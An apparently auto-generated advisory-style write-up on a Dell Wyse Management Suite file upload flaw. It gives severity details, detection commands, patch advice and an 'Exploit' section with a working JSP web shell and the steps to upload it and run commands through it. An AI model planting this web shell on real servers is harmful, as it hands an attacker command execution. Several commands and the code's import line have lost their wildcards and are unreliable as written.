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CVE-2026-66271 is an Unrestricted Upload of File with Dangerous Type vulnerability identified in Dell Wyse Management Suite (WMS) versions prior to 2605.0.2. This vulnerability is rooted in the product’s failure to properly validate or restrict the type of files uploaded by authenticated users. The affected component allows high-privileged attackers with remote network access to upload files containing executable content—such as JSP web shells or other malicious scripts—to locations within the web application’s root directory. Once uploaded, these files can be accessed and executed via HTTP requests, effectively granting the attacker the ability to run arbitrary code on the underlying server with the privileges of the web application process.
The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). The core issue lies in the file upload mechanism’s reliance on client-supplied metadata (such as filename and MIME type) without performing adequate server-side content validation, sanitization, or safe storage practices. In a typical exploitation scenario, an attacker with administrative privileges first authenticates to the WMS administrative interface. They then leverage the vulnerable upload functionality to submit a malicious file—for example, a JSP web shell—bypassing any extension or content-type filters that may be present.
What elevates the severity of this CVE is the fact that WMS operates on a Linux-based platform and runs within a Tomcat servlet container. Uploaded JSP files placed in the web application’s deployable directory are automatically compiled and executed by the Tomcat engine upon receiving an HTTP request. This creates a direct path from file upload to remote code execution. The CVSS v3.1 vector for this vulnerability is AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, yielding a base score of 7.2 (HIGH). The attack complexity is low, requires no user interaction, and successful exploitation results in full compromise of confidentiality, integrity, and availability. The vulnerability was published on August 14, 2026, and last modified on August 18, 2026. Dell has addressed the issue in WMS version 2605.0.2.
DailyCVE Form:
Platform: Linux (Tomcat)
Version: < 2605.0.2
Vulnerability: Unrestricted File Upload
Severity: HIGH (CVSS 7.2)
Date: 08/14/2026
Prediction: Patch already available
What Undercode Say:
Analytics show this vulnerability is particularly dangerous because WMS is widely deployed in enterprise environments for centralized management of thin clients and endpoint devices. The CVSS score of 7.2 indicates high severity, and the attack vector is network-based with low complexity. While the attacker requires high privileges, once obtained, the impact is total system compromise. The EPSS (Exploit Prediction Scoring System) indicates an above-average likelihood of exploitation given the simplicity of file upload bypass techniques. Organizations running WMS versions prior to 2605.0.2 should prioritize patching as this vulnerability can be chained with other weaknesses to achieve unauthenticated remote code execution.
Check current WMS version:
For On-Premises installations, check the version from the WMS UI or examine the build properties file: cat /opt/wms/wms-version.properties | grep version
Check for suspicious JSP files in web root:
Search for recently uploaded JSP files in Tomcat webapps directory find /opt/tomcat/webapps -name ".jsp" -type f -mtime -7 -ls
Check Tomcat access logs for anomalous file upload patterns:
Look for POST requests to upload endpoints grep -i "POST.upload" /opt/tomcat/logs/localhost_access_log..txt
Exploit: (Educational Purposes!)
A high-privileged attacker with remote access can exploit this vulnerability through the following conceptual steps:
1. Authenticate to the WMS administrative console using valid administrator credentials.
2. Navigate to a file upload function within the management interface (e.g., firmware upload, policy attachment, or repository management).
3. Intercept the upload request using a web proxy and modify the filename to include a JSP extension (e.g., shell.jsp).
4. Set the file content to a JSP web shell payload:
<%@ page import="java.io." %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) { out.println(line); }
}
%>
5. Submit the request; the server accepts and stores the file in a web-accessible location (e.g., /opt/tomcat/webapps/wms/uploads/shell.jsp).
6. Access the uploaded shell via HTTP: https://<wms-server>/wms/uploads/shell.jsp?cmd=id.
7. The Tomcat server compiles and executes the JSP, returning command output to the attacker.
Protection:
- Immediate: Upgrade Dell Wyse Management Suite to version 2605.0.2 or later.
- Workaround: If immediate patching is not possible, restrict network access to the WMS administrative interface to trusted IP ranges only.
- Hardening: Implement strict file upload validation on any reverse proxy or WAF in front of WMS, allowing only expected file types (e.g.,
.exe,.msi, `.rpm` for firmware) and blocking.jsp,.jspx,.war, and other executable extensions. - Monitoring: Enable detailed logging on the WMS server and monitor for unusual file uploads, especially files with JSP or other script extensions in unexpected directories.
- Configuration: Store uploaded files outside the web root and ensure the upload directory does not have execute permissions.
Impact:
- Confidentiality: Complete loss—an attacker can read all data accessible to the WMS application, including sensitive configuration files, credentials, and managed device information.
- Integrity: Complete loss—an attacker can modify or delete any data within the WMS system, potentially deploying malicious configurations to all managed thin clients.
- Availability: Complete loss—an attacker can render the WMS service inoperable or disrupt managed endpoint operations.
- Business Impact: Enterprise-wide compromise of thin client management infrastructure, leading to potential data breaches, ransomware deployment, and extensive remediation costs.
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Sources:
Reported By: nvd.nist.gov
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